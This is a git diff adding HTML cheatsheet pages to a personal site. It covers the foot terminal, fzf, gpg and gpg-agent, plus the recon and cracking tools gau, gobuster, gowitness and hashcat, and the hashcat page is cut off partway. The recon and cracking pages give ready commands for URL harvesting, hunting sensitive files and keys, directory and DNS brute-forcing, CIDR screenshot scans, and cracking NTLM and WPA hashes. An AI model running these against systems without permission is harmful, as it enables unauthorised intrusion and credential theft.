  • Ctrl+- - Decrease font size
  • +
+
    +
  • Ctrl+0 - Reset font size
  • +
+

Terminal Management

+
    +
  • Ctrl+Shift+N - Spawn a new terminal (respects current working directory if OSC 7 enabled)
  • +
+
    +
  • Ctrl+Shift+U - Enter URL mode (visible URLs can be activated)
  • +
+
    +
  • Ctrl+Shift+Z - Jump to previous prompt (shell integration needed)
  • +
+
    +
  • Ctrl+Shift+X - Jump to next prompt (shell integration needed)
  • +
+

Scrollback Search

+
    +
  • Ctrl+Shift+R - Enter scrollback search mode
  • +
+
    +
  • Ctrl+R - Search backward for next match (in search mode)
  • +
+
    +
  • Ctrl+S - Search forward (in search mode)
  • +
+
    +
  • Ctrl+Left/Right - Move by word in search input
  • +
+
    +
  • Alt+F - Move forward by word
  • +
+
    +
  • Alt+B - Move backward by word
  • +
+
    +
  • Alt+Backspace - Delete word before cursor
  • +
+
    +
  • Ctrl+Backspace - Delete word before cursor (alternative)
  • +
+
    +
  • Return - Finish search and copy match to primary selection
  • +
+
    +
  • Escape, Ctrl+C, or Ctrl+G - Cancel search
  • +
+
+

Mouse Shortcuts

+

Selection

+
    +
  • Single-click - Select text (drag to adjust), copy to primary selection on release
  • +
+
    +
  • Shift+Click - Force selection even if client has mouse tracking enabled
  • +
+
    +
  • Ctrl+Click - Block selection
  • +
+
    +
  • Double-click - Select word under cursor
  • +
+
    +
  • Ctrl+Double-click - Extend selection to next space-separated region
  • +
+
    +
  • Triple-click - Select entire line
  • +
+
    +
  • Quad-click - Select entire line (alternative)
  • +
+

Clipboard

+
    +
  • Middle-click - Paste from primary selection
  • +
+

Scrolling and Font

+
    +
  • Wheel - Scroll through history
  • +
+
    +
  • Ctrl+Wheel - Adjust font size
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/foot/foot.ini (user config)
  • +
+
    +
  • /etc/xdg/foot/foot.ini (system config)
  • +
+

Example Key Bindings

+

Customize shortcuts in [key-bindings] section:

+
[key-bindings]
+# Remap font size controls
+font-increase=Ctrl+Shift+Plus
+font-decrease=Ctrl+Shift+Minus
+
+# Custom scrollback
+scrollback-up-page=Shift+Home
+scrollback-down-page=Shift+End
+
+# Additional clipboard bindings
+clipboard-copy=Ctrl+Shift+C XF86Copy
+clipboard-paste=Ctrl+Shift+V XF86Paste
+

Example Mouse Bindings

+

Customize mouse behavior in [mouse-bindings] section:

+
[mouse-bindings]
+# Block selection with Ctrl+drag
+select-begin-block=Control+BTN_LEFT
+select-extend-character-wise=Control+BTN_RIGHT
+
+

Tips

+
    +
  • Use include= directive to include other config files (e.g., themes)
  • +
+
    +
  • Font names accept comma-separated fontconfig-style names for fallbacks
  • +
+
    +
  • Size can be in points or pixel size; DPI awareness affects point size
  • +
+
    +
  • Use colors-dark and colors-light for theme switching (colors and colors2 are deprecated)
  • +
+
    +
  • Shell integration enables prompt jumping (Ctrl+Shift+Z/X)
  • +
+
    +
  • URL mode (Ctrl+Shift+U) allows activating visible URLs
  • +
+
    +
  • Primary selection (middle-click paste) works independently of clipboard
  • +
+
    +
  • Block selection (Ctrl+drag) is useful for columnar data
  • +
+
    +
  • Scrollback search copies matches to primary selection automatically
  • +
+
+

Resources

+
    +
  • Project: https://codeberg.org/dnkl/foot
  • +
+
    +
  • Manual: man foot
  • +
+
    +
  • Config manual: man foot.ini
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/fzf.html b/cheatsheets/fzf.html new file mode 100644 index 0000000..8a2f741 --- /dev/null +++ b/cheatsheets/fzf.html @@ -0,0 +1,312 @@ + + + + + + + + + + + fzf Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

fzf Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

fzf (fuzzy finder) is a command-line fuzzy finder for filtering and selecting from lists. Extremely fast and versatile for navigating files, command history, and more.

+
+

Basic Usage

+
    +
  • fzf - Fuzzy find from stdin
  • +
+
    +
  • ls | fzf - Fuzzy find from file list
  • +
+
    +
  • find . -type f | fzf - Fuzzy find from find results
  • +
+
    +
  • fzf <dir> - Fuzzy find files in directory
  • +
+
+

Interactive Commands

+
    +
  • Ctrl+C, Esc - Exit
  • +
+
    +
  • Enter - Select and exit
  • +
+
    +
  • Tab - Select multiple items (multi-select)
  • +
+
    +
  • Shift+Tab - Unselect
  • +
+
    +
  • Up/Down Arrow or Ctrl+P/N - Navigate up/down
  • +
+
    +
  • Page Up/Down or Ctrl+V/B - Navigate page up/down
  • +
+
    +
  • Alt+Up/Down - Navigate half page up/down
  • +
+
    +
  • Ctrl+A - Select all
  • +
+
    +
  • Ctrl+D - Deselect all
  • +
+
    +
  • Ctrl+T - Toggle all
  • +
+
    +
  • Ctrl+L - Clear input
  • +
+
    +
  • ? - Toggle preview window
  • +
+
    +
  • Alt+W - Toggle preview wrap
  • +
+
    +
  • Alt+? - Toggle help
  • +
+
+

Search Patterns

+
    +
  • `word` - Match lines containing word
  • +
+
    +
  • `'word` - Exact match (disables fuzzy matching)
  • +
+
    +
  • `^word` - Prefix match (starts with word)
  • +
+
    +
  • `word$` - Suffix match (ends with word)
  • +
+
    +
  • `!word` - Negation (exclude lines with word)
  • +
+
    +
  • `'word1 | 'word2` - OR operator
  • +
+
    +
  • `word1 word2` - AND operator (both must match)
  • +
+
+

Preview Window

+
    +
  • fzf --preview='cat {}' - Preview file contents
  • +
+
    +
  • fzf --preview='head -100 {}' - Preview first 100 lines
  • +
+
    +
  • fzf --preview='ls -lah {}' - Preview file details
  • +
+
    +
  • fzf --preview-window=right:40% - Custom preview window size
  • +
+
    +
  • fzf --preview-window=hidden - Hide preview initially
  • +
+
    +
  • ? - Toggle preview (in fzf)
  • +
+
+

Common Use Cases

+

File Navigation

+
    +
  • fzf - Find files in current directory
  • +
+
    +
  • find . -type f | fzf - Find all files recursively
  • +
+
    +
  • fzf --type f - Files only
  • +
+
    +
  • fzf --type d - Directories only
  • +
+

Command History

+
    +
  • history | fzf - Search command history
  • +
+
    +
  • Ctrl+R - fzf search through history (if configured)
  • +
+

Process Selection

+
    +
  • ps aux | fzf - Search and select process
  • +
+
    +
  • ps aux | fzf | awk '{print $2}' - Get PID from selection
  • +
+

Git Operations

+
    +
  • git log --oneline | fzf - Browse git commits
  • +
+
    +
  • git branch | fzf - Select branch
  • +
+
    +
  • git stash list | fzf - Select stash
  • +
+
+

Shell Integration

+

Bash/Zsh Key Bindings

+

Add to `~/.bashrc` or `~/.zshrc`:

+
# Use fzf for Ctrl+R history search
+if command -v fzf >/dev/null 2>&1; then
+    source /usr/share/fzf/shell/key-bindings.bash  # or .zsh
+fi
+

After setup:

+
    +
  • Ctrl+R - Search command history
  • +
+
    +
  • Ctrl+T - Find and insert file path
  • +
+
    +
  • Alt+C - Change directory (cd)
  • +
+

Fish Shell

+
fzf_key_bindings
+
+

Useful Aliases

+

Add to your shell config:

+
# File operations
+alias fcd='cd $(find . -type d | fzf)'
+alias fvim='vim $(fzf)'
+alias fcat='cat $(fzf)'
+
+# Git with fzf
+alias fco='git checkout $(git branch | fzf | sed "s/^..//")'
+
+# Process kill
+alias fkill='kill -9 $(ps aux | fzf | awk "{print \$2}")'
+
+

Advanced Options

+
    +
  • fzf --height 40% - Set height
  • +
+
    +
  • fzf --reverse - Reverse layout (top to bottom)
  • +
+
    +
  • fzf --border - Show border
  • +
+
    +
  • fzf --header='Select file:' - Custom header
  • +
+
    +
  • fzf --multi - Enable multi-select
  • +
+
    +
  • fzf --bind='ctrl-a:select-all' - Custom key bindings
  • +
+
    +
  • fzf --exact - Exact match mode
  • +
+
    +
  • fzf --extended - Extended search mode (default)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • `~/.fzfrc` - fzf configuration
  • +
+
    +
  • `~/.fzf.bash` - Bash integration (if installed)
  • +
+
    +
  • `~/.fzf.zsh` - Zsh integration (if installed)
  • +
+
    +
  • `/usr/share/fzf/` - Default installation directory
  • +
+

Example Configuration

+
# fzf options
+export FZF_DEFAULT_OPTS='--height 40% --reverse --border'
+export FZF_DEFAULT_COMMAND='fd --type f'  # Use fd instead of find
+export FZF_CTRL_T_COMMAND='fd --type f'
+export FZF_CTRL_T_OPTS='--preview "bat --color=always --style=numbers {}"'
+
+

Tips

+
    +
  • Use single quotes `'word'` for exact matches when fuzzy matching fails
  • +
+
    +
  • Combine with other tools using pipes: `find . | fzf | xargs vim`
  • +
+
    +
  • Use preview window to see file contents before selecting
  • +
+
    +
  • Configure shell bindings for Ctrl+R, Ctrl+T, Alt+C
  • +
+
    +
  • Use multi-select (Tab) to select multiple files
  • +
+
    +
  • Install ripgrep or fd for faster file finding with fzf
  • +
+
    +
  • Customize colors and layout with FZF_DEFAULT_OPTS
  • +
+
    +
  • Use fzf in scripts for interactive selection
  • +
+
    +
  • Combine with vim (fzf.vim plugin) for file navigation
  • +
+
    +
  • Great for browsing logs: `tail -f /var/log/syslog | fzf`
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/gau.html b/cheatsheets/gau.html new file mode 100644 index 0000000..338184b --- /dev/null +++ b/cheatsheets/gau.html @@ -0,0 +1,209 @@ + + + + + + + + + + + gau Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

gau Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

gau (Get All URLs) fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, Common Crawl, and URLScan for a given domain. Great for discovering endpoints and parameters.

+
+

Basic Usage

+
    +
  • gau <domain> - Fetch URLs for domain
  • +
+
    +
  • echo "example.com" | gau - Pipe domain
  • +
+
    +
  • cat domains.txt | gau - Multiple domains
  • +
+
+

Options

+
    +
  • --blacklist - Comma-separated list of extensions to skip
  • +
+
    +
  • --fc - Filter by status code (comma-separated)
  • +
+
    +
  • --from - Fetch URLs from date (YYYYMM)
  • +
+
    +
  • --ft - Filter to status code (show only these)
  • +
+
    +
  • --fp - Remove query strings
  • +
+
    +
  • --json - Output as JSON
  • +
+
    +
  • --mc - Match status code (comma-separated)
  • +
+
    +
  • --mt - Match MIME type
  • +
+
    +
  • --o - Output file
  • +
+
    +
  • --providers - Comma-separated providers (wayback, otx, commoncrawl, urlscan)
  • +
+
    +
  • --retries - Number of retries
  • +
+
    +
  • --subs - Include subdomains
  • +
+
    +
  • --threads - Number of threads
  • +
+
    +
  • --to - Fetch URLs to date (YYYYMM)
  • +
+
    +
  • --verbose - Verbose output
  • +
+
+

Providers

+
    +
  • wayback - Wayback Machine (web.archive.org)
  • +
  • otx - AlienVault Open Threat Exchange
  • +
  • commoncrawl - Common Crawl
  • +
  • urlscan - URLScan.io
  • +
+
+

Common Examples

+

Basic Fetch

+
gau example.com
+

Get all known URLs.

+

Include Subdomains

+
gau --subs example.com
+

Include all subdomain URLs.

+

Save to File

+
gau example.com --o urls.txt
+

Save results to file.

+

Exclude Extensions

+
gau --blacklist png,jpg,gif,css,js example.com
+

Skip static assets.

+

Filter Date Range

+
gau --from 202301 --to 202312 example.com
+

URLs from 2023 only.

+

Specific Providers

+
gau --providers wayback,otx example.com
+

Use only Wayback and OTX.

+

JSON Output

+
gau --json example.com
+

Output in JSON format.

+

Multiple Domains

+
cat domains.txt | gau --threads 5
+

Process multiple domains.

+

Remove Query Strings

+
gau --fp example.com | sort -u
+

Unique paths without parameters.

+
+

Pipeline Examples

+

Find Parameters

+
gau example.com | grep "=" | sort -u
+

Find URLs with parameters.

+

Find JS Files

+
gau example.com | grep "\.js$" | sort -u
+

Extract JavaScript files.

+

Find API Endpoints

+
gau example.com | grep -E "(api|v1|v2)" | sort -u
+

Find potential API endpoints.

+

With httpx

+
gau example.com | httpx -silent -status-code
+

Check which URLs are live.

+

Find Interesting Files

+
gau example.com | grep -E "\.(json|xml|config|sql|backup|bak)$"
+

Find potentially sensitive files.

+
+

Configuration

+

Config File Location

+
    +
  • ~/.gau.toml - Configuration file
  • +
+

Example Config

+
threads = 5
+retries = 3
+blacklist = ["png", "jpg", "gif"]
+providers = ["wayback", "otx", "urlscan"]
+
+

Tips

+
    +
  • Use --blacklist to filter out static files
  • +
+
    +
  • Combine with grep to find interesting patterns
  • +
+
    +
  • Pipe to httpx to check live URLs
  • +
+
    +
  • Look for parameters for potential injection points
  • +
+
    +
  • Historical URLs may reveal removed functionality
  • +
+
    +
  • Great for bug bounty recon
  • +
+
    +
  • Combine with waybackurls for comprehensive coverage
  • +
+
    +
  • Check JS files for API keys and secrets
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/gobuster.html b/cheatsheets/gobuster.html new file mode 100644 index 0000000..09f581b --- /dev/null +++ b/cheatsheets/gobuster.html @@ -0,0 +1,262 @@ + + + + + + + + + + + gobuster Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

gobuster Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Gobuster is a tool for brute-forcing URIs (directories and files), DNS subdomains, virtual host names, and S3 buckets. Written in Go for speed.

+
+

Modes

+
    +
  • gobuster dir - Directory/file brute forcing
  • +
+
    +
  • gobuster dns - DNS subdomain brute forcing
  • +
+
    +
  • gobuster vhost - Virtual host brute forcing
  • +
+
    +
  • gobuster s3 - S3 bucket brute forcing
  • +
+
    +
  • gobuster fuzz - Fuzzing mode
  • +
+
+

Directory Mode (dir)

+

Basic Usage

+
    +
  • gobuster dir -u <url> -w <wordlist> - Basic directory scan
  • +
+

Options

+
    +
  • -u, --url - Target URL
  • +
+
    +
  • -w, --wordlist - Wordlist file
  • +
+
    +
  • -x, --extensions - File extensions (php,txt,html)
  • +
+
    +
  • -s, --status-codes - Show status codes (default 200,204,301,302,307,401,403)
  • +
+
    +
  • -b, --status-codes-blacklist - Hide status codes
  • +
+
    +
  • -e, --expanded - Print full URLs
  • +
+
    +
  • -r, --follow-redirect - Follow redirects
  • +
+
    +
  • -k, --no-tls-validation - Skip TLS verification
  • +
+
    +
  • -n, --no-status - Don't print status codes
  • +
+
    +
  • -f, --add-slash - Append / to each request
  • +
+
+

DNS Mode (dns)

+

Basic Usage

+
    +
  • gobuster dns -d <domain> -w <wordlist> - DNS enumeration
  • +
+

Options

+
    +
  • -d, --domain - Target domain
  • +
+
    +
  • -w, --wordlist - Wordlist file
  • +
+
    +
  • -r, --resolver - DNS resolver
  • +
+
    +
  • -c, --show-cname - Show CNAME records
  • +
+
    +
  • -i, --show-ips - Show IP addresses
  • +
+
    +
  • --wildcard - Force wildcard detection
  • +
+
+

VHost Mode (vhost)

+

Basic Usage

+
    +
  • gobuster vhost -u <url> -w <wordlist> - Virtual host discovery
  • +
+

Options

+
    +
  • -u, --url - Target URL
  • +
+
    +
  • -w, --wordlist - Wordlist file
  • +
+
    +
  • --append-domain - Append domain to wordlist entries
  • +
+
+

Global Options

+
    +
  • -t, --threads - Concurrent threads (default 10)
  • +
+
    +
  • -o, --output - Output file
  • +
+
    +
  • -q, --quiet - Quiet mode (no banner)
  • +
+
    +
  • -z, --no-progress - Don't show progress
  • +
+
    +
  • --delay - Delay between requests
  • +
+
    +
  • --timeout - Request timeout (default 10s)
  • +
+
    +
  • -v, --verbose - Verbose output
  • +
+
+

HTTP Options

+
    +
  • -a, --useragent - Custom User-Agent
  • +
+
    +
  • -c, --cookies - Cookies to use
  • +
+
    +
  • -H, --headers - Custom headers
  • +
+
    +
  • -U, --username - Basic auth username
  • +
+
    +
  • -P, --password - Basic auth password
  • +
+
    +
  • -p, --proxy - Proxy URL
  • +
+
+

Common Examples

+

Basic Directory Scan

+
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
+

Find directories and files.

+

With Extensions

+
gobuster dir -u http://example.com -w wordlist.txt -x php,html,txt
+

Search for specific file types.

+

Fast Scan

+
gobuster dir -u http://example.com -w wordlist.txt -t 50
+

50 concurrent threads.

+

Save Output

+
gobuster dir -u http://example.com -w wordlist.txt -o results.txt
+

Save results to file.

+

Hide Status Codes

+
gobuster dir -u http://example.com -w wordlist.txt -b 404,403
+

Hide 404 and 403 responses.

+

With Auth

+
gobuster dir -u http://example.com -w wordlist.txt -U admin -P password
+

Basic authentication.

+

DNS Subdomain Scan

+
gobuster dns -d example.com -w subdomains.txt -i
+

Find subdomains with IPs.

+

Virtual Host Discovery

+
gobuster vhost -u http://example.com -w vhosts.txt
+

Find virtual hosts.

+

Through Proxy

+
gobuster dir -u http://example.com -w wordlist.txt -p http://127.0.0.1:8080
+

Route through Burp Suite.

+
+

Common Wordlists

+
    +
  • /usr/share/wordlists/dirb/common.txt
  • +
  • /usr/share/wordlists/dirb/big.txt
  • +
  • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • +
  • /usr/share/seclists/Discovery/Web-Content/
  • +
  • /usr/share/seclists/Discovery/DNS/
  • +
+
+

Tips

+
    +
  • Use -x to append file extensions to each word
  • +
+
    +
  • Increase threads (-t) for faster scans
  • +
+
    +
  • Use -k when target has self-signed certs
  • +
+
    +
  • Blacklist common error codes with -b
  • +
+
    +
  • Route through Burp for detailed analysis
  • +
+
    +
  • Combine with nikto and nuclei for full coverage
  • +
+
    +
  • Use SecLists for comprehensive wordlists
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/gowitness.html b/cheatsheets/gowitness.html new file mode 100644 index 0000000..854cf58 --- /dev/null +++ b/cheatsheets/gowitness.html @@ -0,0 +1,236 @@ + + + + + + + + + + + gowitness Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

gowitness Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Gowitness is a website screenshot utility written in Go. It uses Chrome Headless to generate screenshots, storing results in a SQLite database with an optional web UI for browsing.

+
+

Commands

+
    +
  • gowitness single - Screenshot single URL
  • +
+
    +
  • gowitness file - Screenshot URLs from file
  • +
+
    +
  • gowitness nmap - Parse nmap XML for targets
  • +
+
    +
  • gowitness scan - Scan and screenshot CIDR range
  • +
+
    +
  • gowitness server - Start web report server
  • +
+
    +
  • gowitness report - Generate report
  • +
+
+

Single URL

+
    +
  • gowitness single https://example.com - Screenshot single URL
  • +
+
    +
  • gowitness single -u https://example.com - Explicit URL flag
  • +
+
+

File Input

+
    +
  • gowitness file -f urls.txt - Screenshot from file
  • +
+
    +
  • gowitness file -f urls.txt -t 10 - With 10 threads
  • +
+
+

Global Options

+
    +
  • -t, --threads - Concurrent threads (default 4)
  • +
+
    +
  • -P, --screenshot-path - Screenshot save location
  • +
+
    +
  • -D, --db-path - Database file path
  • +
+
    +
  • -X, --resolution - Screenshot resolution (e.g., 1920x1080)
  • +
+
    +
  • -F, --fullpage - Capture full page screenshot
  • +
+
    +
  • --timeout - Page timeout in seconds
  • +
+
    +
  • --delay - Delay before screenshot (seconds)
  • +
+
    +
  • --user-agent - Custom User-Agent
  • +
+
    +
  • --proxy - HTTP/SOCKS5 proxy
  • +
+
    +
  • --chrome-path - Path to Chrome binary
  • +
+
    +
  • --disable-db - Don't save to database
  • +
+
+

Scan Command

+
    +
  • gowitness scan --cidr 192.168.1.0/24 - Scan CIDR range
  • +
+
    +
  • --cidr - CIDR range to scan
  • +
+
    +
  • --ports - Ports to check (comma separated)
  • +
+
    +
  • --skip-https - Skip HTTPS checks
  • +
+
    +
  • --skip-http - Skip HTTP checks
  • +
+
+

Nmap Integration

+
    +
  • gowitness nmap -f scan.xml - Parse nmap XML
  • +
+
    +
  • --open - Only use open ports
  • +
+
    +
  • --service-contains - Filter by service name
  • +
+
+

Report Server

+
    +
  • gowitness server - Start web server
  • +
+
    +
  • --address - Listen address (default 127.0.0.1:7171)
  • +
+
+

Common Examples

+

Single Screenshot

+
gowitness single https://example.com
+

Screenshot single URL.

+

From URL List

+
gowitness file -f urls.txt -t 10
+

Screenshot URLs from file with 10 threads.

+

Full Page Screenshots

+
gowitness file -f urls.txt -F
+

Capture full page (scrolling).

+

Custom Resolution

+
gowitness file -f urls.txt -X 1920x1080
+

Set viewport resolution.

+

CIDR Scan

+
gowitness scan --cidr 192.168.1.0/24 --ports 80,443,8080
+

Scan network range for web servers.

+

From Nmap Results

+
gowitness nmap -f nmap_scan.xml --open
+

Screenshot from nmap results.

+

Start Report Server

+
gowitness server
+

Browse results at http://127.0.0.1:7171

+

With Delay

+
gowitness file -f urls.txt --delay 3
+

Wait 3 seconds before screenshot.

+

Through Proxy

+
gowitness file -f urls.txt --proxy http://127.0.0.1:8080
+

Route through Burp Suite.

+

Pipeline

+
subfinder -d example.com -silent | httpx -silent > urls.txt && gowitness file -f urls.txt
+

Full recon pipeline.

+
+

Database

+

Results stored in SQLite database (default: gowitness.sqlite3)

+
    +
  • Contains URLs, response codes, titles, headers
  • +
  • Screenshots linked by URL hash
  • +
  • Queryable for reporting
  • +
+
+

Tips

+
    +
  • Use --fullpage for complete page capture
  • +
+
    +
  • Increase threads for large URL lists
  • +
+
    +
  • Use the web server for easy browsing
  • +
+
    +
  • Add delay for JavaScript-heavy sites
  • +
+
    +
  • Combine with httpx to filter live hosts first
  • +
+
    +
  • Database enables easy querying and reporting
  • +
+
    +
  • Similar to aquatone but with SQLite backend
  • +
+
    +
  • Requires Chrome/Chromium installed
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/gpg-agent.html b/cheatsheets/gpg-agent.html new file mode 100644 index 0000000..24a3403 --- /dev/null +++ b/cheatsheets/gpg-agent.html @@ -0,0 +1,144 @@ + + + + + + + + + + + gpg-agent Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

gpg-agent Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

gpg-agent is a daemon that manages GPG private keys and passphrases. It caches passphrases so you don't have to enter them repeatedly, and can use hardware tokens or pinentry programs for secure passphrase entry.

+
+

Basic Usage

+
    +
  • gpg-agent --daemon - Start the agent daemon
  • +
+
    +
  • gpg-agent --kill - Stop the agent
  • +
+
    +
  • gpg-agent --version - Show version
  • +
+
+

Configuration

+
    +
  • ~/.gnupg/gpg-agent.conf - Main configuration file
  • +
+
    +
  • default-cache-ttl 600 - Cache passphrase for 10 minutes
  • +
+
    +
  • max-cache-ttl 7200 - Maximum cache time (2 hours)
  • +
+
    +
  • pinentry-program /usr/bin/pinentry - Specify pinentry program
  • +
+
    +
  • enable-ssh-support - Enable SSH agent emulation
  • +
+
+

SSH Agent Emulation

+
    +
  • enable-ssh-support in gpg-agent.conf - Enable SSH support
  • +
+
    +
  • ssh-add -l - List SSH keys (when using gpg-agent)
  • +
+
    +
  • export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket) - Set SSH socket
  • +
+
    +
  • Add to ~/.bashrc or ~/.zshrc for persistent SSH support
  • +
+
+

Reload Configuration

+
    +
  • gpgconf --kill gpg-agent - Kill agent
  • +
+
    +
  • gpgconf --launch gpg-agent - Restart agent
  • +
+
    +
  • gpg-connect-agent reloadagent /bye - Reload without restart
  • +
+
+

Common Examples

+

Start Agent

+
eval $(gpg-agent --daemon)
+

Start agent and set environment variables.

+

Check Agent Status

+
gpg-connect-agent /bye
+

Test if agent is running.

+

Clear Passphrase Cache

+
gpg-connect-agent reloadagent /bye
+

Clear cached passphrases.

+

SSH Support Setup

+
echo "enable-ssh-support" >> ~/.gnupg/gpg-agent.conf
+gpgconf --kill gpg-agent
+eval $(gpg-agent --daemon)
+

Enable SSH agent emulation.

+
+

Tips

+
    +
  • gpg-agent usually starts automatically when needed
  • +
+
    +
  • Use pinentry for secure passphrase entry (GUI or TTY)
  • +
+
    +
  • Set reasonable cache TTLs for security vs convenience
  • +
+
    +
  • SSH agent emulation lets you use GPG keys for SSH
  • +
+
    +
  • gpgconf is the modern way to manage gpg-agent
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/gpg.html b/cheatsheets/gpg.html new file mode 100644 index 0000000..8784407 --- /dev/null +++ b/cheatsheets/gpg.html @@ -0,0 +1,99 @@ + + + + + + + + + + + gpg Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + ← Back to Cheatsheets + +

gpg Cheatsheet

+
+
+
+
+

+ Quick reference for gpg (GNU Privacy Guard), used for encryption, signing, and key management following the OpenPGP standard. +

+ +

Key management

+
    +
  • gpg --full-generate-key – interactive key generation.
  • +
  • gpg --list-keys / gpg --list-secret-keys – list public/secret keys.
  • +
  • gpg --delete-key <ID> – delete a public key.
  • +
  • gpg --delete-secret-key <ID> – delete a secret key.
  • +
+ +

Export / import keys

+
    +
  • gpg --export -a <ID> > public.asc – export public key (ASCII armored).
  • +
  • gpg --export-secret-keys -a <ID> > secret.asc – export secret key (backup only).
  • +
  • gpg --import public.asc – import a key.
  • +
  • gpg --recv-key <ID> – fetch from keyserver (if configured).
  • +
+ +

Encrypt / decrypt

+
    +
  • gpg -e -r <recipient> file – encrypt to recipient’s key.
  • +
  • gpg -d file.gpg – decrypt a file.
  • +
  • echo "secret" | gpg -e -r <recipient> > secret.txt.gpg – encrypt from stdin.
  • +
+ +

Signing

+
    +
  • gpg -s file – create a binary signature.
  • +
  • gpg -sa file – create an ASCII-armored signature.
  • +
  • gpg --clear-sign file – cleartext sign (visible content + signature block).
  • +
  • gpg --verify file.sig file – verify a detached signature.
  • +
+ +

Trust and IDs

+
    +
  • gpg --edit-key <ID> – manage key, set trust, add UIDs, etc.
  • +
  • gpg --fingerprint <ID> – show key fingerprint.
  • +
  • Verify fingerprints out-of-band (in person, chat, etc.) before trusting.
  • +
+ +

Tips

+
    +
  • Use a modern key type (ed25519 or cv25519) where available.
  • +
  • Back up your secret key and revoke certificate somewhere safe.
  • +
  • Combine gpg with pass and git for a simple password manager.
  • +
+
+
+ + + + + + diff --git a/cheatsheets/hashcat.html b/cheatsheets/hashcat.html new file mode 100644 index 0000000..335a111 --- /dev/null +++ b/cheatsheets/hashcat.html @@ -0,0 +1,310 @@ + + + + + + + + + + + hashcat Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

hashcat Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

hashcat is an advanced password recovery tool featuring GPU acceleration and support for over 300 hash types. It's the fastest and most advanced password cracking tool available.

+
+

Basic Syntax

+
    +
  • hashcat -m <hash_type> <hash_file> <wordlist> - Basic attack
  • +
+
    +
  • hashcat -m 0 hash.txt wordlist.txt - MD5 attack
  • +
+
    +
  • hashcat -m 1000 hash.txt wordlist.txt - NTLM attack
  • +
+
    +
  • hashcat -m 22000 hash.hc22000 wordlist.txt - WPA/WPA2 attack
  • +
+
+

Common Hash Types

+
    +
  • -m 0 - MD5
  • +
+
    +
  • -m 100 - SHA1
  • +
+
    +
  • -m 1000 - NTLM
  • +
+
    +
  • -m 1800 - sha512crypt $6$ (Linux)
  • +
+
    +
  • -m 22000 - WPA/WPA2 PMKID+EAPOL (hc22000 format)
  • +
+
    +
  • -m 16800 - WPA/WPA2 PMKID
  • +
+
    +
  • -m 2500 - WPA/WPA2 handshake
  • +
+
    +
